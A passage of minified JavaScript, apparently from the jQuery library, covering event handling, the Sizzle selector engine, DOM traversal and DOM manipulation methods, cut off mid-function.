c=a.target,d=f.nodeName(c,"input")||f.nodeName(c,"button")?c.form:b;d&&!d._submit_attached&&(f.event.add(d,"submit._submit",function(a){this.parentNode&&!a.isTrigger&&f.event.simulate("submit",this.parentNode,a,!0)}),d._submit_attached=!0)})},teardown:function(){if(f.nodeName(this,"form"))return!1;f.event.remove(this,"._submit")}}),f.support.changeBubbles||(f.event.special.change={setup:function(){if(z.test(this.nodeName)){if(this.type==="checkbox"||this.type==="radio")f.event.add(this,"propertychange._change",function(a){a.originalEvent.propertyName==="checked"&&(this._just_changed=!0)}),f.event.add(this,"click._change",function(a){this._just_changed&&!a.isTrigger&&(this._just_changed=!1,f.event.simulate("change",this,a,!0))});return!1}f.event.add(this,"beforeactivate._change",function(a){var b=a.target;z.test(b.nodeName)&&!b._change_attached&&(f.event.add(b,"change._change",function(a){this.parentNode&&!a.isSimulated&&!a.isTrigger&&f.event.simulate("change",this.parentNode,a,!0)}),b._change_attached=!0)})},handle:function(a){var b=a.target;if(this!==b||a.isSimulated||a.isTrigger||b.type!=="radio"&&b.type!=="checkbox")return a.handleObj.handler.apply(this,arguments)},teardown:function(){f.event.remove(this,"._change");return z.test(this.nodeName)}}),f.support.focusinBubbles||f.each({focus:"focusin",blur:"focusout"},function(a,b){var d=0,e=function(a){f.event.simulate(b,a.target,f.event.fix(a),!0)};f.event.special[b]={setup:function(){d++===0&&c.addEventListener(a,e,!0)},teardown:function(){--d===0&&c.removeEventListener(a,e,!0)}}}),f.fn.extend({on:function(a,c,d,e,g){var h,i;if(typeof a=="object"){typeof c!="string"&&(d=c,c=b);for(i in a)this.on(i,c,d,a[i],g);return this}d==null&&e==null?(e=c,d=c=b):e==null&&(typeof c=="string"?(e=d,d=b):(e=d,d=c,c=b));if(e===!1)e=J;else if(!e)return this;g===1&&(h=e,e=function(a){f().off(a);return h.apply(this,arguments)},e.guid=h.guid||(h.guid=f.guid++));return this.each(function(){f.event.add(this,a,e,d,c)})},one:function(a,b,c,d){return this.on.call(this,a,b,c,d,1)},off:function(a,c,d){if(a&&a.preventDefault&&a.handleObj){var e=a.handleObj;f(a.delegateTarget).off(e.namespace?e.type+"."+e.namespace:e.type,e.selector,e.handler);return this}if(typeof a=="object"){for(var g in a)this.off(g,c,a[g]);return this}if(c===!1||typeof c=="function")d=c,c=b;d===!1&&(d=J);return this.each(function(){f.event.remove(this,a,d,c)})},bind:function(a,b,c){return this.on(a,null,b,c)},unbind:function(a,b){return this.off(a,null,b)},live:function(a,b,c){f(this.context).on(a,this.selector,b,c);return this},die:function(a,b){f(this.context).off(a,this.selector||"**",b);return this},delegate:function(a,b,c,d){return this.on(b,a,c,d)},undelegate:function(a,b,c){return arguments.length==1?this.off(a,"**"):this.off(b,a,c)},trigger:function(a,b){return this.each(function(){f.event.trigger(a,b,this)})},triggerHandler:function(a,b){if(this[0])return f.event.trigger(a,b,this[0],!0)},toggle:function(a){var b=arguments,c=a.guid||f.guid++,d=0,e=function(c){var e=(f._data(this,"lastToggle"+a.guid)||0)%d;f._data(this,"lastToggle"+a.guid,e+1),c.preventDefault();return b[e].apply(this,arguments)||!1};e.guid=c;while(d<b.length)b[d++].guid=c;return this.click(e)},hover:function(a,b){return this.mouseenter(a).mouseleave(b||a)}}),f.each("blur focus focusin focusout load resize scroll unload click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup error contextmenu".split(" "),function(a,b){f.fn[b]=function(a,c){c==null&&(c=a,a=null);return arguments.length>0?this.on(b,null,a,c):this.trigger(b)},f.attrFn&&(f.attrFn[b]=!0),C.test(b)&&(f.event.fixHooks[b]=f.event.keyHooks),D.test(b)&&(f.event.fixHooks[b]=f.event.mouseHooks)}),function(){function x(a,b,c,e,f,g){for(var h=0,i=e.length;h<i;h++){var j=e[h];if(j){var k=!1;j=j[a];while(j){if(j[d]===c){k=e[j.sizset];break}if(j.nodeType===1){g||(j[d]=c,j.sizset=h);if(typeof b!="string"){if(j===b){k=!0;break}}else if(m.filter(b,[j]).length>0){k=j;break}}j=j[a]}e[h]=k}}}function w(a,b,c,e,f,g){for(var h=0,i=e.length;h<i;h++){var j=e[h];if(j){var k=!1;j=j[a];while(j){if(j[d]===c){k=e[j.sizset];break}j.nodeType===1&&!g&&(j[d]=c,j.sizset=h);if(j.nodeName.toLowerCase()===b){k=j;break}j=j[a]}e[h]=k}}}var a=/((?:\((?:\([^()]+\)|[^()]+)+\)|\[(?:\[[^\[\]]*\]|['"][^'"]*['"]|[^\[\]'"]+)+\]|\\.|[^ >+~,(\[\\]+)+|[>+~])(\s*,\s*)?((?:.|\r|\n)*)/g,d="sizcache"+(Math.random()+"").replace(".",""),e=0,g=Object.prototype.toString,h=!1,i=!0,j=/\\/g,k=/\r\n/g,l=/\W/;[0,0].sort(function(){i=!1;return 0});var m=function(b,d,e,f){e=e||[],d=d||c;var h=d;if(d.nodeType!==1&&d.nodeType!==9)return[];if(!b||typeof b!="string")return e;var i,j,k,l,n,q,r,t,u=!0,v=m.isXML(d),w=[],x=b;do{a.exec(""),i=a.exec(x);if(i){x=i[3],w.push(i[1]);if(i[2]){l=i[3];break}}}while(i);if(w.length>1&&p.exec(b))if(w.length===2&&o.relative[w[0]])j=y(w[0]+w[1],d,f);else{j=o.relative[w[0]]?[d]:m(w.shift(),d);while(w.length)b=w.shift(),o.relative[b]&&(b+=w.shift()),j=y(b,j,f)}else{!f&&w.length>1&&d.nodeType===9&&!v&&o.match.ID.test(w[0])&&!o.match.ID.test(w[w.length-1])&&(n=m.find(w.shift(),d,v),d=n.expr?m.filter(n.expr,n.set)[0]:n.set[0]);if(d){n=f?{expr:w.pop(),set:s(f)}:m.find(w.pop(),w.length===1&&(w[0]==="~"||w[0]==="+")&&d.parentNode?d.parentNode:d,v),j=n.expr?m.filter(n.expr,n.set):n.set,w.length>0?k=s(j):u=!1;while(w.length)q=w.pop(),r=q,o.relative[q]?r=w.pop():q="",r==null&&(r=d),o.relative[q](k,r,v)}else k=w=[]}k||(k=j),k||m.error(q||b);if(g.call(k)==="[object Array]")if(!u)e.push.apply(e,k);else if(d&&d.nodeType===1)for(t=0;k[t]!=null;t++)k[t]&&(k[t]===!0||k[t].nodeType===1&&m.contains(d,k[t]))&&e.push(j[t]);else for(t=0;k[t]!=null;t++)k[t]&&k[t].nodeType===1&&e.push(j[t]);else s(k,e);l&&(m(l,h,e,f),m.uniqueSort(e));return e};m.uniqueSort=function(a){if(u){h=i,a.sort(u);if(h)for(var b=1;b<a.length;b++)a[b]===a[b-1]&&a.splice(b--,1)}return a},m.matches=function(a,b){return m(a,null,null,b)},m.matchesSelector=function(a,b){return m(b,null,null,[a]).length>0},m.find=function(a,b,c){var d,e,f,g,h,i;if(!a)return[];for(e=0,f=o.order.length;e<f;e++){h=o.order[e];if(g=o.leftMatch[h].exec(a)){i=g[1],g.splice(1,1);if(i.substr(i.length-1)!=="\\"){g[1]=(g[1]||"").replace(j,""),d=o.find[h](g,b,c);if(d!=null){a=a.replace(o.match[h],"");break}}}}d||(d=typeof b.getElementsByTagName!="undefined"?b.getElementsByTagName("*"):[]);return{set:d,expr:a}},m.filter=function(a,c,d,e){var f,g,h,i,j,k,l,n,p,q=a,r=[],s=c,t=c&&c[0]&&m.isXML(c[0]);while(a&&c.length){for(h in o.filter)if((f=o.leftMatch[h].exec(a))!=null&&f[2]){k=o.filter[h],l=f[1],g=!1,f.splice(1,1);if(l.substr(l.length-1)==="\\")continue;s===r&&(r=[]);if(o.preFilter[h]){f=o.preFilter[h](f,s,d,r,e,t);if(!f)g=i=!0;else if(f===!0)continue}if(f)for(n=0;(j=s[n])!=null;n++)j&&(i=k(j,f,n,s),p=e^i,d&&i!=null?p?g=!0:s[n]=!1:p&&(r.push(j),g=!0));if(i!==b){d||(s=r),a=a.replace(o.match[h],"");if(!g)return[];break}}if(a===q)if(g==null)m.error(a);else break;q=a}return s},m.error=function(a){throw new Error("Syntax error, unrecognized expression: "+a)};var n=m.getText=function(a){var b,c,d=a.nodeType,e="";if(d){if(d===1||d===9){if(typeof a.textContent=="string")return a.textContent;if(typeof a.innerText=="string")return a.innerText.replace(k,"");for(a=a.firstChild;a;a=a.nextSibling)e+=n(a)}else if(d===3||d===4)return a.nodeValue}else for(b=0;c=a[b];b++)c.nodeType!==8&&(e+=n(c));return e},o=m.selectors={order:["ID","NAME","TAG"],match:{ID:/#((?:[\w\u00c0-\uFFFF\-]|\\.)+)/,CLASS:/\.((?:[\w\u00c0-\uFFFF\-]|\\.)+)/,NAME:/\[name=['"]*((?:[\w\u00c0-\uFFFF\-]|\\.)+)['"]*\]/,ATTR:/\[\s*((?:[\w\u00c0-\uFFFF\-]|\\.)+)\s*(?:(\S?=)\s*(?:(['"])(.*?)\3|(#?(?:[\w\u00c0-\uFFFF\-]|\\.)*)|)|)\s*\]/,TAG:/^((?:[\w\u00c0-\uFFFF\*\-]|\\.)+)/,CHILD:/:(only|nth|last|first)-child(?:\(\s*(even|odd|(?:[+\-]?\d+|(?:[+\-]?\d*)?n\s*(?:[+\-]\s*\d+)?))\s*\))?/,POS:/:(nth|eq|gt|lt|first|last|even|odd)(?:\((\d*)\))?(?=[^\-]|$)/,PSEUDO:/:((?:[\w\u00c0-\uFFFF\-]|\\.)+)(?:\((['"]?)((?:\([^\)]+\)|[^\(\)]*)+)\2\))?/},leftMatch:{},attrMap:{"class":"className","for":"htmlFor"},attrHandle:{href:function(a){return a.getAttribute("href")},type:function(a){return a.getAttribute("type")}},relative:{"+":function(a,b){var c=typeof b=="string",d=c&&!l.test(b),e=c&&!d;d&&(b=b.toLowerCase());for(var f=0,g=a.length,h;f<g;f++)if(h=a[f]){while((h=h.previousSibling)&&h.nodeType!==1);a[f]=e||h&&h.nodeName.toLowerCase()===b?h||!1:h===b}e&&m.filter(b,a,!0)},">":function(a,b){var c,d=typeof b=="string",e=0,f=a.length;if(d&&!l.test(b)){b=b.toLowerCase();for(;e<f;e++){c=a[e];if(c){var g=c.parentNode;a[e]=g.nodeName.toLowerCase()===b?g:!1}}}else{for(;e<f;e++)c=a[e],c&&(a[e]=d?c.parentNode:c.parentNode===b);d&&m.filter(b,a,!0)}},"":function(a,b,c){var d,f=e++,g=x;typeof b=="string"&&!l.test(b)&&(b=b.toLowerCase(),d=b,g=w),g("parentNode",b,f,a,d,c)},"~":function(a,b,c){var d,f=e++,g=x;typeof b=="string"&&!l.test(b)&&(b=b.toLowerCase(),d=b,g=w),g("previousSibling",b,f,a,d,c)}},find:{ID:function(a,b,c){if(typeof b.getElementById!="undefined"&&!c){var d=b.getElementById(a[1]);return d&&d.parentNode?[d]:[]}},NAME:function(a,b){if(typeof b.getElementsByName!="undefined"){var c=[],d=b.getElementsByName(a[1]);for(var e=0,f=d.length;e<f;e++)d[e].getAttribute("name")===a[1]&&c.push(d[e]);return c.length===0?null:c}},TAG:function(a,b){if(typeof b.getElementsByTagName!="undefined")return b.getElementsByTagName(a[1])}},preFilter:{CLASS:function(a,b,c,d,e,f){a=" "+a[1].replace(j,"")+" ";if(f)return a;for(var g=0,h;(h=b[g])!=null;g++)h&&(e^(h.className&&(" "+h.className+" ").replace(/[\t\n\r]/g," ").indexOf(a)>=0)?c||d.push(h):c&&(b[g]=!1));return!1},ID:function(a){return a[1].replace(j,"")},TAG:function(a,b){return a[1].replace(j,"").toLowerCase()},CHILD:function(a){if(a[1]==="nth"){a[2]||m.error(a[0]),a[2]=a[2].replace(/^\+|\s*/g,"");var b=/(-?)(\d*)(?:n([+\-]?\d*))?/.exec(a[2]==="even"&&"2n"||a[2]==="odd"&&"2n+1"||!/\D/.test(a[2])&&"0n+"+a[2]||a[2]);a[2]=b[1]+(b[2]||1)-0,a[3]=b[3]-0}else a[2]&&m.error(a[0]);a[0]=e++;return a},ATTR:function(a,b,c,d,e,f){var g=a[1]=a[1].replace(j,"");!f&&o.attrMap[g]&&(a[1]=o.attrMap[g]),a[4]=(a[4]||a[5]||"").replace(j,""),a[2]==="~="&&(a[4]=" "+a[4]+" ");return a},PSEUDO:function(b,c,d,e,f){if(b[1]==="not")if((a.exec(b[3])||"").length>1||/^\w/.test(b[3]))b[3]=m(b[3],null,null,c);else{var g=m.filter(b[3],c,d,!0^f);d||e.push.apply(e,g);return!1}else if(o.match.POS.test(b[0])||o.match.CHILD.test(b[0]))return!0;return b},POS:function(a){a.unshift(!0);return a}},filters:{enabled:function(a){return a.disabled===!1&&a.type!=="hidden"},disabled:function(a){return a.disabled===!0},checked:function(a){return a.checked===!0},selected:function(a){a.parentNode&&a.parentNode.selectedIndex;return a.selected===!0},parent:function(a){return!!a.firstChild},empty:function(a){return!a.firstChild},has:function(a,b,c){return!!m(c[3],a).length},header:function(a){return/h\d/i.test(a.nodeName)},text:function(a){var b=a.getAttribute("type"),c=a.type;return a.nodeName.toLowerCase()==="input"&&"text"===c&&(b===c||b===null)},radio:function(a){return a.nodeName.toLowerCase()==="input"&&"radio"===a.type},checkbox:function(a){return a.nodeName.toLowerCase()==="input"&&"checkbox"===a.type},file:function(a){return a.nodeName.toLowerCase()==="input"&&"file"===a.type},password:function(a){return a.nodeName.toLowerCase()==="input"&&"password"===a.type},submit:function(a){var b=a.nodeName.toLowerCase();return(b==="input"||b==="button")&&"submit"===a.type},image:function(a){return a.nodeName.toLowerCase()==="input"&&"image"===a.type},reset:function(a){var b=a.nodeName.toLowerCase();return(b==="input"||b==="button")&&"reset"===a.type},button:function(a){var b=a.nodeName.toLowerCase();return b==="input"&&"button"===a.type||b==="button"},input:function(a){return/input|select|textarea|button/i.test(a.nodeName)},focus:function(a){return a===a.ownerDocument.activeElement}},setFilters:{first:function(a,b){return b===0},last:function(a,b,c,d){return b===d.length-1},even:function(a,b){return b%2===0},odd:function(a,b){return b%2===1},lt:function(a,b,c){return b<c[3]-0},gt:function(a,b,c){return b>c[3]-0},nth:function(a,b,c){return c[3]-0===b},eq:function(a,b,c){return c[3]-0===b}},filter:{PSEUDO:function(a,b,c,d){var e=b[1],f=o.filters[e];if(f)return f(a,c,b,d);if(e==="contains")return(a.textContent||a.innerText||n([a])||"").indexOf(b[3])>=0;if(e==="not"){var g=b[3];for(var h=0,i=g.length;h<i;h++)if(g[h]===a)return!1;return!0}m.error(e)},CHILD:function(a,b){var c,e,f,g,h,i,j,k=b[1],l=a;switch(k){case"only":case"first":while(l=l.previousSibling)if(l.nodeType===1)return!1;if(k==="first")return!0;l=a;case"last":while(l=l.nextSibling)if(l.nodeType===1)return!1;return!0;case"nth":c=b[2],e=b[3];if(c===1&&e===0)return!0;f=b[0],g=a.parentNode;if(g&&(g[d]!==f||!a.nodeIndex)){i=0;for(l=g.firstChild;l;l=l.nextSibling)l.nodeType===1&&(l.nodeIndex=++i);g[d]=f}j=a.nodeIndex-e;return c===0?j===0:j%c===0&&j/c>=0}},ID:function(a,b){return a.nodeType===1&&a.getAttribute("id")===b},TAG:function(a,b){return b==="*"&&a.nodeType===1||!!a.nodeName&&a.nodeName.toLowerCase()===b},CLASS:function(a,b){return(" "+(a.className||a.getAttribute("class"))+" ").indexOf(b)>-1},ATTR:function(a,b){var c=b[1],d=m.attr?m.attr(a,c):o.attrHandle[c]?o.attrHandle[c](a):a[c]!=null?a[c]:a.getAttribute(c),e=d+"",f=b[2],g=b[4];return d==null?f==="!=":!f&&m.attr?d!=null:f==="="?e===g:f==="*="?e.indexOf(g)>=0:f==="~="?(" "+e+" ").indexOf(g)>=0:g?f==="!="?e!==g:f==="^="?e.indexOf(g)===0:f==="$="?e.substr(e.length-g.length)===g:f==="|="?e===g||e.substr(0,g.length+1)===g+"-":!1:e&&d!==!1},POS:function(a,b,c,d){var e=b[2],f=o.setFilters[e];if(f)return f(a,c,b,d)}}},p=o.match.POS,q=function(a,b){return"\\"+(b-0+1)};for(var r in o.match)o.match[r]=new RegExp(o.match[r].source+/(?![^\[]*\])(?![^\(]*\))/.source),o.leftMatch[r]=new RegExp(/(^(?:.|\r|\n)*?)/.source+o.match[r].source.replace(/\\(\d+)/g,q));var s=function(a,b){a=Array.prototype.slice.call(a,0);if(b){b.push.apply(b,a);return b}return a};try{Array.prototype.slice.call(c.documentElement.childNodes,0)[0].nodeType}catch(t){s=function(a,b){var c=0,d=b||[];if(g.call(a)==="[object Array]")Array.prototype.push.apply(d,a);else if(typeof a.length=="number")for(var e=a.length;c<e;c++)d.push(a[c]);else for(;a[c];c++)d.push(a[c]);return d}}var u,v;c.documentElement.compareDocumentPosition?u=function(a,b){if(a===b){h=!0;return 0}if(!a.compareDocumentPosition||!b.compareDocumentPosition)return a.compareDocumentPosition?-1:1;return a.compareDocumentPosition(b)&4?-1:1}:(u=function(a,b){if(a===b){h=!0;return 0}if(a.sourceIndex&&b.sourceIndex)return a.sourceIndex-b.sourceIndex;var c,d,e=[],f=[],g=a.parentNode,i=b.parentNode,j=g;if(g===i)return v(a,b);if(!g)return-1;if(!i)return 1;while(j)e.unshift(j),j=j.parentNode;j=i;while(j)f.unshift(j),j=j.parentNode;c=e.length,d=f.length;for(var k=0;k<c&&k<d;k++)if(e[k]!==f[k])return v(e[k],f[k]);return k===c?v(a,f[k],-1):v(e[k],b,1)},v=function(a,b,c){if(a===b)return c;var d=a.nextSibling;while(d){if(d===b)return-1;d=d.nextSibling}return 1}),function(){var a=c.createElement("div"),d="script"+(new Date).getTime(),e=c.documentElement;a.innerHTML="<a name='"+d+"'/>",e.insertBefore(a,e.firstChild),c.getElementById(d)&&(o.find.ID=function(a,c,d){if(typeof c.getElementById!="undefined"&&!d){var e=c.getElementById(a[1]);return e?e.id===a[1]||typeof e.getAttributeNode!="undefined"&&e.getAttributeNode("id").nodeValue===a[1]?[e]:b:[]}},o.filter.ID=function(a,b){var c=typeof a.getAttributeNode!="undefined"&&a.getAttributeNode("id");return a.nodeType===1&&c&&c.nodeValue===b}),e.removeChild(a),e=a=null}(),function(){var a=c.createElement("div");a.appendChild(c.createComment("")),a.getElementsByTagName("*").length>0&&(o.find.TAG=function(a,b){var c=b.getElementsByTagName(a[1]);if(a[1]==="*"){var d=[];for(var e=0;c[e];e++)c[e].nodeType===1&&d.push(c[e]);c=d}return c}),a.innerHTML="<a href='#'></a>",a.firstChild&&typeof a.firstChild.getAttribute!="undefined"&&a.firstChild.getAttribute("href")!=="#"&&(o.attrHandle.href=function(a){return a.getAttribute("href",2)}),a=null}(),c.querySelectorAll&&function(){var a=m,b=c.createElement("div"),d="__sizzle__";b.innerHTML="<p class='TEST'></p>";if(!b.querySelectorAll||b.querySelectorAll(".TEST").length!==0){m=function(b,e,f,g){e=e||c;if(!g&&!m.isXML(e)){var h=/^(\w+$)|^\.([\w\-]+$)|^#([\w\-]+$)/.exec(b);if(h&&(e.nodeType===1||e.nodeType===9)){if(h[1])return s(e.getElementsByTagName(b),f);if(h[2]&&o.find.CLASS&&e.getElementsByClassName)return s(e.getElementsByClassName(h[2]),f)}if(e.nodeType===9){if(b==="body"&&e.body)return s([e.body],f);if(h&&h[3]){var i=e.getElementById(h[3]);if(!i||!i.parentNode)return s([],f);if(i.id===h[3])return s([i],f)}try{return s(e.querySelectorAll(b),f)}catch(j){}}else if(e.nodeType===1&&e.nodeName.toLowerCase()!=="object"){var k=e,l=e.getAttribute("id"),n=l||d,p=e.parentNode,q=/^\s*[+~]/.test(b);l?n=n.replace(/'/g,"\\$&"):e.setAttribute("id",n),q&&p&&(e=e.parentNode);try{if(!q||p)return s(e.querySelectorAll("[id='"+n+"'] "+b),f)}catch(r){}finally{l||k.removeAttribute("id")}}}return a(b,e,f,g)};for(var e in a)m[e]=a[e];b=null}}(),function(){var a=c.documentElement,b=a.matchesSelector||a.mozMatchesSelector||a.webkitMatchesSelector||a.msMatchesSelector;if(b){var d=!b.call(c.createElement("div"),"div"),e=!1;try{b.call(c.documentElement,"[test!='']:sizzle")}catch(f){e=!0}m.matchesSelector=function(a,c){c=c.replace(/\=\s*([^'"\]]*)\s*\]/g,"='$1']");if(!m.isXML(a))try{if(e||!o.match.PSEUDO.test(c)&&!/!=/.test(c)){var f=b.call(a,c);if(f||!d||a.document&&a.document.nodeType!==11)return f}}catch(g){}return m(c,null,null,[a]).length>0}}}(),function(){var a=c.createElement("div");a.innerHTML="<div class='test e'></div><div class='test'></div>";if(!!a.getElementsByClassName&&a.getElementsByClassName("e").length!==0){a.lastChild.className="e";if(a.getElementsByClassName("e").length===1)return;o.order.splice(1,0,"CLASS"),o.find.CLASS=function(a,b,c){if(typeof b.getElementsByClassName!="undefined"&&!c)return b.getElementsByClassName(a[1])},a=null}}(),c.documentElement.contains?m.contains=function(a,b){return a!==b&&(a.contains?a.contains(b):!0)}:c.documentElement.compareDocumentPosition?m.contains=function(a,b){return!!(a.compareDocumentPosition(b)&16)}:m.contains=function(){return!1},m.isXML=function(a){var b=(a?a.ownerDocument||a:0).documentElement;return b?b.nodeName!=="HTML":!1};var y=function(a,b,c){var d,e=[],f="",g=b.nodeType?[b]:b;while(d=o.match.PSEUDO.exec(a))f+=d[0],a=a.replace(o.match.PSEUDO,"");a=o.relative[a]?a+"*":a;for(var h=0,i=g.length;h<i;h++)m(a,g[h],e,c);return m.filter(f,e)};m.attr=f.attr,m.selectors.attrMap={},f.find=m,f.expr=m.selectors,f.expr[":"]=f.expr.filters,f.unique=m.uniqueSort,f.text=m.getText,f.isXMLDoc=m.isXML,f.contains=m.contains}();var L=/Until$/,M=/^(?:parents|prevUntil|prevAll)/,N=/,/,O=/^.[^:#\[\.,]*$/,P=Array.prototype.slice,Q=f.expr.match.POS,R={children:!0,contents:!0,next:!0,prev:!0};f.fn.extend({find:function(a){var b=this,c,d;if(typeof a!="string")return f(a).filter(function(){for(c=0,d=b.length;c<d;c++)if(f.contains(b[c],this))return!0});var e=this.pushStack("","find",a),g,h,i;for(c=0,d=this.length;c<d;c++){g=e.length,f.find(a,this[c],e);if(c>0)for(h=g;h<e.length;h++)for(i=0;i<g;i++)if(e[i]===e[h]){e.splice(h--,1);break}}return e},has:function(a){var b=f(a);return this.filter(function(){for(var a=0,c=b.length;a<c;a++)if(f.contains(this,b[a]))return!0})},not:function(a){return this.pushStack(T(this,a,!1),"not",a)},filter:function(a){return this.pushStack(T(this,a,!0),"filter",a)},is:function(a){return!!a&&(typeof a=="string"?Q.test(a)?f(a,this.context).index(this[0])>=0:f.filter(a,this).length>0:this.filter(a).length>0)},closest:function(a,b){var c=[],d,e,g=this[0];if(f.isArray(a)){var h=1;while(g&&g.ownerDocument&&g!==b){for(d=0;d<a.length;d++)f(g).is(a[d])&&c.push({selector:a[d],elem:g,level:h});g=g.parentNode,h++}return c}var i=Q.test(a)||typeof a!="string"?f(a,b||this.context):0;for(d=0,e=this.length;d<e;d++){g=this[d];while(g){if(i?i.index(g)>-1:f.find.matchesSelector(g,a)){c.push(g);break}g=g.parentNode;if(!g||!g.ownerDocument||g===b||g.nodeType===11)break}}c=c.length>1?f.unique(c):c;return this.pushStack(c,"closest",a)},index:function(a){if(!a)return this[0]&&this[0].parentNode?this.prevAll().length:-1;if(typeof a=="string")return f.inArray(this[0],f(a));return f.inArray(a.jquery?a[0]:a,this)},add:function(a,b){var c=typeof a=="string"?f(a,b):f.makeArray(a&&a.nodeType?[a]:a),d=f.merge(this.get(),c);return this.pushStack(S(c[0])||S(d[0])?d:f.unique(d))},andSelf:function(){return this.add(this.prevObject)}}),f.each({parent:function(a){var b=a.parentNode;return b&&b.nodeType!==11?b:null},parents:function(a){return f.dir(a,"parentNode")},parentsUntil:function(a,b,c){return f.dir(a,"parentNode",c)},next:function(a){return f.nth(a,2,"nextSibling")},prev:function(a){return f.nth(a,2,"previousSibling")},nextAll:function(a){return f.dir(a,"nextSibling")},prevAll:function(a){return f.dir(a,"previousSibling")},nextUntil:function(a,b,c){return f.dir(a,"nextSibling",c)},prevUntil:function(a,b,c){return f.dir(a,"previousSibling",c)},siblings:function(a){return f.sibling(a.parentNode.firstChild,a)},children:function(a){return f.sibling(a.firstChild)},contents:function(a){return f.nodeName(a,"iframe")?a.contentDocument||a.contentWindow.document:f.makeArray(a.childNodes)}},function(a,b){f.fn[a]=function(c,d){var e=f.map(this,b,c);L.test(a)||(d=c),d&&typeof d=="string"&&(e=f.filter(d,e)),e=this.length>1&&!R[a]?f.unique(e):e,(this.length>1||N.test(d))&&M.test(a)&&(e=e.reverse());return this.pushStack(e,a,P.call(arguments).join(","))}}),f.extend({filter:function(a,b,c){c&&(a=":not("+a+")");return b.length===1?f.find.matchesSelector(b[0],a)?[b[0]]:[]:f.find.matches(a,b)},dir:function(a,c,d){var e=[],g=a[c];while(g&&g.nodeType!==9&&(d===b||g.nodeType!==1||!f(g).is(d)))g.nodeType===1&&e.push(g),g=g[c];return e},nth:function(a,b,c,d){b=b||1;var e=0;for(;a;a=a[c])if(a.nodeType===1&&++e===b)break;return a},sibling:function(a,b){var c=[];for(;a;a=a.nextSibling)a.nodeType===1&&a!==b&&c.push(a);return c}});var V="abbr|article|aside|audio|canvas|datalist|details|figcaption|figure|footer|header|hgroup|mark|meter|nav|output|progress|section|summary|time|video",W=/ jQuery\d+="(?:\d+|null)"/g,X=/^\s+/,Y=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:]+)[^>]*)\/>/ig,Z=/<([\w:]+)/,$=/<tbody/i,_=/<|&#?\w+;/,ba=/<(?:script|style)/i,bb=/<(?:script|object|embed|option|style)/i,bc=new RegExp("<(?:"+V+")","i"),bd=/checked\s*(?:[^=]|=\s*.checked.)/i,be=/\/(java|ecma)script/i,bf=/^\s*<!(?:\[CDATA\[|\-\-)/,bg={option:[1,"<select multiple='multiple'>","</select>"],legend:[1,"<fieldset>","</fieldset>"],thead:[1,"<table>","</table>"],tr:[2,"<table><tbody>","</tbody></table>"],td:[3,"<table><tbody><tr>","</tr></tbody></table>"],col:[2,"<table><tbody></tbody><colgroup>","</colgroup></table>"],area:[1,"<map>","</map>"],_default:[0,"",""]},bh=U(c);bg.optgroup=bg.option,bg.tbody=bg.tfoot=bg.colgroup=bg.caption=bg.thead,bg.th=bg.td,f.support.htmlSerialize||(bg._default=[1,"div<div>","</div>"]),f.fn.extend({text:function(a){if(f.isFunction(a))return this.each(function(b){var c=f(this);c.text(a.call(this,b,c.text()))});if(typeof a!="object"&&a!==b)return this.empty().append((this[0]&&this[0].ownerDocument||c).createTextNode(a));return f.text(this)},wrapAll:function(a){if(f.isFunction(a))return this.each(function(b){f(this).wrapAll(a.call(this,b))});if(this[0]){var b=f(a,this[0].ownerDocument).eq(0).clone(!0);this[0].parentNode&&b.insertBefore(this[0]),b.map(function(){var a=this;while(a.firstChild&&a.firstChild.nodeType===1)a=a.firstChild;return a}).append(this)}return this},wrapInner:function(a){if(f.isFunction(a))return this.each(function(b){f(this).wrapInner(a.call(this,b))});return this.each(function(){var b=f(this),c=b.contents();c.length?c.wrapAll(a):b.append(a)})},wrap:function(a){var b=f.isFunction(a);return this.each(function(c){f(this).wrapAll(b?a.call(this,c):a)})},unwrap:function(){return this.parent().each(function(){f.nodeName(this,"body")||f(this).replaceWith(this.childNodes)}).end()},append:function(){return this.domManip(arguments,!0,function(a){this.nodeType===1&&this.appendChild(a)})},prepend:function(){return this.domManip(arguments,!0,function(a){this.nodeType===1&&this.insertBefore(a,this.firstChild)})},before:function(){if(this[0]&&this[0].parentNode)return this.domManip(arguments,!1,function(a){this.parentNode.insertBefore(a,this)});if(arguments.length){var a=f.clean(arguments);a.push.apply(a,this.toArray());return this.pushStack(a,"before",arguments)}},after:function(){if(this[0]&&this[0].parentNode)return this.domManip(arguments,!1,function(a){this.parentNode.insertBefore(a,this.nextSibling)});if(arguments.length){var a=this.pushStack(this,"after",arguments);a.push.apply(a,f.clean(arguments));return a}},remove:function(a,b){for(var c=0,d;(d=this[c])!=null;c++)if(!a||f.filter(a,[d]).length)!b&&d.nodeType===1&&(f.cleanData(d.getElementsByTagName("*")),f.cleanData([d])),d.parentNode&&d.parentNode.removeChild(d);return this},empty:function() +{for(var a=0,b;(b=this[a])!=null;a++){b.nodeType===1&&f.cleanData(b.getElementsByTagName("*"));while(b.firstChild)b.removeChild(b.firstChild)}return this},clone:function(a,b){a=a==null?!1:a,b=b==null?a:b;return this.map(function(){return f.clone(this,a,b)})},html:function(a){if(a===b)return this[0]&&this[0].nodeType===1?this[0].innerHTML.replace(W,""):null;if(typeof a=="string"&&!ba.test(a)&&(f.support.leadingWhitespace||!X.test(a))&&!bg[(Z.exec(a)||["",""])[1].toLowerCase()]){a=a.replace(Y,"<$1></$2>");try{for(var c=0,d=this.length;c<d;c++)this[c].nodeType===1&&(f.cleanData(this[c].getElementsByTagName("*")),this[c].innerHTML=a)}catch(e){this.empty().append(a)}}else f.isFunction(a)?this.each(function(b){var c=f(this);c.html(a.call(this,b,c.html()))}):this.empty().append(a);return this},replaceWith:function(a){if(this[0]&&this[0].parentNode){if(f.isFunction(a))return this.each(function(b){var c=f(this),d=c.html();c.replaceWith(a.call(this,b,d))});typeof a!="string"&&(a=f(a).detach());return this.each(function(){var b=this.nextSibling,c=this.parentNode;f(this).remove(),b?f(b).before(a):f(c).append(a)})}return this.length?this.pushStack(f(f.isFunction(a)?a():a),"replaceWith",a):this},detach:function(a){return this.remove(a,!0)},domManip:function(a,c,d){var e,g,h,i,j=a[0],k=[];if(!f.support.checkClone&&arguments.length===3&&typeof j=="string"&&bd.test(j))return this.each(function(){f(this).domManip(a,c,d,!0)});if(f.isFunction(j))return this.each(function(e){var 